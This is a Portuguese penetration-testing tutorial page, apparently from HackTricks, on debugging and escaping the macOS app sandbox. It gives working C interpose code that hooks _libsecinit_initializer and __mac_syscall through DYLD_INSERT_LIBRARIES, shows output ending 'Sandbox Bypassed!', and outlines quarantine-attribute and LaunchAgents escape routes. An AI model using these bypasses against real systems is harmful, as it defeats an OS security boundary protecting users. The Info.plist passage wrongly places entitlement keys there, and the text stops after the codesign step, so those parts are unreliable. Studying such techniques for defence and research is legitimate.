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Depuração e Bypass do Sandbox do macOS

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Processo de carregamento do Sandbox

Imagem de http://newosxbook.com/files/HITSB.pdf

Na imagem anterior, é possível observar como o sandbox será carregado quando um aplicativo com a permissão com.apple.security.app-sandbox é executado.

O compilador irá vincular /usr/lib/libSystem.B.dylib ao binário.

Em seguida, libSystem.B irá chamar várias outras funções até que o xpc_pipe_routine envie as permissões do aplicativo para o securityd. O Securityd verifica se o processo deve ser colocado em quarentena dentro do Sandbox e, se sim, ele será colocado em quarentena.
Por fim, o sandbox será ativado com uma chamada para __sandbox_ms, que chamará __mac_syscall.

Possíveis Bypasses

Bypass do atributo de quarentena

Arquivos criados por processos em sandbox recebem o atributo de quarentena para evitar a fuga do sandbox. No entanto, se você conseguir criar uma pasta .app sem o atributo de quarentena dentro de um aplicativo em sandbox, poderá fazer com que o binário do pacote do aplicativo aponte para /bin/bash e adicionar algumas variáveis de ambiente no plist para abusar do open e executar o novo aplicativo sem sandbox.

Isso é o que foi feito em CVE-2023-32364.

{% hint style="danger" %} Portanto, no momento, se você for capaz apenas de criar uma pasta com um nome terminando em .app sem o atributo de quarentena, você pode escapar do sandbox porque o macOS só verifica o atributo de quarentena na pasta .app e no executável principal (e iremos apontar o executável principal para /bin/bash).

Observe que se um pacote .app já foi autorizado a ser executado (ele tem um xttr de quarentena com a flag autorizada para executar), você também pode abusar dele... exceto que agora você não pode escrever dentro de pacotes .app a menos que tenha algumas permissões privilegiadas do TCC (que você não terá dentro de um sandbox alto). {% endhint %}

Abusando da funcionalidade Open

Nos últimos exemplos de bypass do sandbox do Word, pode-se apreciar como a funcionalidade open da linha de comando pode ser abusada para contornar o sandbox.

{% content-ref url="macos-office-sandbox-bypasses.md" %} macos-office-sandbox-bypasses.md {% endcontent-ref %}

Abusando de Locais de Início Automático

Se um processo em sandbox pode escrever em um local onde posteriormente um aplicativo sem sandbox vai executar o binário, ele poderá escapar simplesmente colocando o binário lá. Um bom exemplo desse tipo de locais são ~/Library/LaunchAgents ou /System/Library/LaunchDaemons.

Para isso, você pode precisar de 2 etapas: fazer um processo com um sandbox mais permissivo (file-read*, file-write*) executar seu código, que irá realmente escrever em um local onde será executado sem sandbox.

Verifique esta página sobre Locais de Início Automático:

{% content-ref url="../../../../macos-auto-start-locations.md" %} macos-auto-start-locations.md {% endcontent-ref %}

Abusando de outros processos

Se a partir do processo em sandbox você conseguir comprometer outros processos em execução em sandboxes menos restritivos (ou sem sandbox), você poderá escapar para seus sandboxes:

{% content-ref url="../../../macos-proces-abuse/" %} macos-proces-abuse {% endcontent-ref %}

Compilação estática e vinculação dinâmica

Esta pesquisa descobriu 2 maneiras de contornar o Sandbox. Isso ocorre porque o sandbox é aplicado a partir do espaço do usuário quando a biblioteca libSystem é carregada. Se um binário pudesse evitar o carregamento dela, ele nunca seria colocado em um sandbox:

Se o binário fosse completamente compilado de forma estática, ele poderia evitar o carregamento dessa biblioteca.
Se o binário não precisasse carregar nenhuma biblioteca (porque o vinculador também está em libSystem), ele não precisaria carregar libSystem.

Shellcodes

Observe que mesmo shellcodes em ARM64 precisam ser vinculados em libSystem.dylib:

ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64

Privilégios

Note que mesmo que algumas ações possam ser permitidas pelo sandbox se um aplicativo tiver um privilégio específico, como em:

(when (entitlement "com.apple.security.network.client")
(allow network-outbound (remote ip))
(allow mach-lookup
(global-name "com.apple.airportd")
(global-name "com.apple.cfnetwork.AuthBrokerAgent")
(global-name "com.apple.cfnetwork.cfnetworkagent")
[...]

Bypassando o Interpost

Para obter mais informações sobre o Interpost, consulte:

{% content-ref url="../../../mac-os-architecture/macos-function-hooking.md" %} macos-function-hooking.md {% endcontent-ref %}

Interpostar `_libsecinit_initializer` para evitar o sandbox

// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>

void _libsecinit_initializer(void);

void overriden__libsecinit_initializer(void) {
printf("_libsecinit_initializer called\n");
}

__attribute__((used, section("__DATA,__interpose"))) static struct {
void (*overriden__libsecinit_initializer)(void);
void (*_libsecinit_initializer)(void);
}
_libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer};

DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
_libsecinit_initializer called
Sandbox Bypassed!

Interceptar `__mac_syscall` para evitar o Sandbox

{% code title="interpose.c" %}

// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>
#include <string.h>

// Forward Declaration
int __mac_syscall(const char *_policyname, int _call, void *_arg);

// Replacement function
int my_mac_syscall(const char *_policyname, int _call, void *_arg) {
printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call);
if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) {
printf("Bypassing Sandbox initiation.\n");
return 0; // pretend we did the job without actually calling __mac_syscall
}
// Call the original function for other cases
return __mac_syscall(_policyname, _call, _arg);
}

// Interpose Definition
struct interpose_sym {
const void *replacement;
const void *original;
};

// Interpose __mac_syscall with my_mac_syscall
__attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = {
{ (const void *)my_mac_syscall, (const void *)__mac_syscall },
};

{% endcode %}

DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand

__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 0
Bypassing Sandbox initiation.
__mac_syscall invoked. Policy: Quarantine, Call: 87
__mac_syscall invoked. Policy: Sandbox, Call: 4
Sandbox Bypassed!

Depurar e contornar o Sandbox com lldb

Vamos compilar um aplicativo que deve ser colocado em um sandbox:

{% tabs %} {% tab title="sand.c" %}

#include <stdlib.h>
int main() {
system("cat ~/Desktop/del.txt");
}

{% tab title="entitlements.xml" %}

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
</dict>
</plist>

{% tab title="Info.plist" %}

O arquivo Info.plist é um arquivo de configuração usado para definir as configurações e comportamentos de um aplicativo macOS. Ele contém informações sobre o aplicativo, como seu nome, identificador, versão e permissões necessárias. No contexto do sandbox do macOS, o arquivo Info.plist é usado para especificar as restrições de segurança impostas ao aplicativo.

Dentro do arquivo Info.plist, existem várias chaves e valores que podem ser configurados para controlar o comportamento do aplicativo no sandbox. Alguns exemplos dessas chaves incluem:

com.apple.security.app-sandbox: Esta chave especifica se o aplicativo deve ser executado no sandbox. Definir o valor dessa chave como true indica que o aplicativo será executado no sandbox.
com.apple.security.network.client: Esta chave especifica se o aplicativo pode fazer solicitações de rede. Definir o valor dessa chave como true permite que o aplicativo faça solicitações de rede.
com.apple.security.files.user-selected.read-write: Esta chave especifica se o aplicativo pode ler e gravar em arquivos selecionados pelo usuário. Definir o valor dessa chave como true permite que o aplicativo leia e grave em arquivos selecionados pelo usuário.

Essas são apenas algumas das chaves disponíveis no arquivo Info.plist. Ao configurar corretamente essas chaves, é possível restringir as permissões e proteger o aplicativo no sandbox do macOS.

{% endtab %}

<plist version="1.0">
<dict>
<key>CFBundleIdentifier</key>
<string>xyz.hacktricks.sandbox</string>
<key>CFBundleName</key>
<string>Sandbox</string>
</dict>
</plist>

{% endtab %} {% endtabs %}

Em seguida, compile o aplicativo:

{% code overflow="wrap" %}

# Compile it
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand

# Create a certificate for "Code Signing"

# Apply the entitlements via signing
codesign -s <cert-name> --entitlements entitlements.xml sand